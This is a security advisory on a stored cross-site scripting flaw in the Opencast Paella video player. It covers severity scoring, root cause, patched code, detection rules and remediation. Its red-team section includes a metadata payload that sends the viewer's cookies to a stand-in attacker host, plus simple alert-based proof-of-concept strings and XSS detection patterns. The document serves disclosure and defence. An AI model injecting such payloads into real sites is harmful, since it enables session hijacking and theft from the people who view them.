CVE-2025-61788

Executive Summary

CVE-2025-61788 is a stored Cross-Site Scripting (XSS) vulnerability in the Opencast video platform, specifically within the Paella player component. The vulnerability allows an authenticated attacker with write access (e.g., the ability to upload media and modify metadata) to inject malicious HTML and JavaScript into metadata fields such as title and description. When a user views the affected media, the injected script executes in their browser, potentially leading to session hijacking, data theft, or unauthorized actions performed on behalf of the victim. The vulnerability is fixed in Opencast versions 17.8 and 18.2.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Opencast platform itself. The Paella player is a JavaScript-based component that is part of the Opencast distribution. Users should ensure they are using the latest patched version of Opencast to mitigate this risk.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Base Score: 6.1 Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - An attacker needs write access to the system (e.g., upload media).
• User Interaction (UI): Required (R) - A user must view the malicious media for the attack to succeed.
• Scope (S): Changed (C) - The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited modification of data is possible.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. While the CVSS score is 6.1, the requirement for authenticated write access reduces the immediate risk. However, once an attacker has such access, the impact can be significant, especially in multi-tenant or educational environments where many users may view the same content.

Deep Dive & Mechanics

The vulnerability resides in the Paella player, which is used by Opencast to render video content. The player fails to sanitize user-supplied metadata (e.g., title, description) before rendering it in the browser. This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. Authentication & Authorization: The attacker must have a valid account with write permissions to upload media or modify metadata.
2. Metadata Injection: The attacker uploads a video or modifies an existing one, injecting a malicious payload into a metadata field (e.g., title: <img src=x onerror=alert('XSS')>).
3. Storage: The malicious metadata is stored in the Opencast database.
4. Trigger: When a victim (e.g., a student or administrator) views the media via the Paella player, the player renders the metadata without sanitization.
5. Execution: The injected JavaScript executes in the victim's browser, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.

Root Cause: The Paella player uses innerHTML or similar DOM manipulation methods to render metadata without proper escaping or sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Paella player rendering metadata
function renderMetadata(metadata) {
    var titleElement = document.getElementById('video-title');
    titleElement.innerHTML = metadata.title; // Unsanitized
}

Patched Code (Conceptual):

// Paella player rendering metadata with sanitization
function renderMetadata(metadata) {
    var titleElement = document.getElementById('video-title');
    titleElement.textContent = metadata.title; // Safe, no HTML execution
    // Or use a sanitizer library:
    // titleElement.innerHTML = sanitizeHTML(metadata.title);
}

The fix involves replacing innerHTML with textContent or using a robust HTML sanitizer (e.g., DOMPurify) to strip malicious content.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A valid Opencast account with write permissions.
• Access to the Opencast web interface.

Steps:

1. Login: Authenticate to the Opencast instance.
2. Upload Media: Navigate to the upload section and upload a video file.
3. Inject Payload: In the metadata fields (e.g., title, description), inject a JavaScript payload. Example:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

4. Publish: Save and publish the media.
5. Wait for Victims: Any user who views the media will trigger the payload.

Proof-of-Concept (PoC) Code:

<!-- Injected into metadata field -->
<script>alert('XSS');</script>

Blue Team (Defender)

Detection:

• Monitor for unusual metadata content in uploaded media.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review logs for suspicious user activity (e.g., multiple uploads with script tags).

Prevention:

• Apply the patch by upgrading to Opencast 17.8 or 18.2.
• Implement input validation and output encoding for all user-supplied data.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing script tags or event handlers in metadata fields (e.g., onerror, onload).
• Host: Log entries showing unusual metadata modifications by users.
• Application: Presence of <script> tags or event handlers in video titles/descriptions in the database.

Example IOC (Log Entry):

[2025-03-15 10:23:45] User 'attacker' modified metadata for video '12345' with title: '<img src=x onerror=alert(1)>'

Detection Engineering

YARA Rule

rule CVE_2025_61788_XSS_Metadata {
    meta:
        description = "Detects potential XSS payloads in Opencast metadata"
        author = "Valters IT"
        date = "2025-03-15"
        reference = "CVE-2025-61788"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]+on\w+\s*=[^>]*>/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Opencast Paella Player Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS attempts via metadata injection in Opencast
author: Valters IT
date: 2025/03/15
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-61788
logsource:
    category: application
    product: opencast
detection:
    selection:
        event: "metadata_update"
        metadata|contains:
            - "<script"
            - "onerror"
            - "onload"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in metadata (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-61788 - Opencast Paella Player XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Opencast: Update to version 17.8 or 18.2 immediately.
2. Restrict Write Access: Limit the number of users with write permissions to only trusted individuals.
3. Audit Metadata: Review existing metadata for any signs of injection.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Conduct regular security training for users with write access.
• Enable logging and monitoring for suspicious metadata changes.

Workaround (if patching is not possible):

• Disable the Paella player and use an alternative player (if available).
• Manually sanitize metadata at the application layer before storage.

Report generated by Valters IT DevSecOps & CTI Framework